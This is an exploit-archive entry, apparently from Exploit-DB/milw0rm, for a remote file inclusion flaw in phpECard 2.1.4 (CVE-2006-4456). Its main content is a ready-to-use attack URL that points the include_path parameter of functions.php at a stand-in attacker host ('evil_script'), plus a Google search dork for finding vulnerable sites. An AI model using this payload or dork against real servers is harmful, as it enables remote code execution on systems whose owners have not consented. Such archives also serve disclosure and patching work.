PHPECard 2.1.4 - 'functions.php' Remote File Inclusion
Author: LeAk
type: webapps
platform: php
port:
date_added: 2006-08-28
date_updated:
verified: 1
codes: OSVDB-28291;CVE-2006-4456
tags:
aliases:
screenshot_url:
application_url:
#==============================================================================================
# phpECard (functions.php) Remote File Inclusion Exploit
#===============================================================================================
#
#Critical Level : Dangerous
#
#Venedor site : http://www.quick-xs.net/phpecard/
#
#Google Search: powered by: phpecard
#
#================================================================================================
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/functions.php?include_path=http://evil_script?
#
#
#================================================================================================
#Discoverd By : LeAk
#
#Conatact : Escape_LeAk[at]yahoo.com
#
# Turkis Hackers
==================================================================================================
# milw0rm.com [2006-08-29]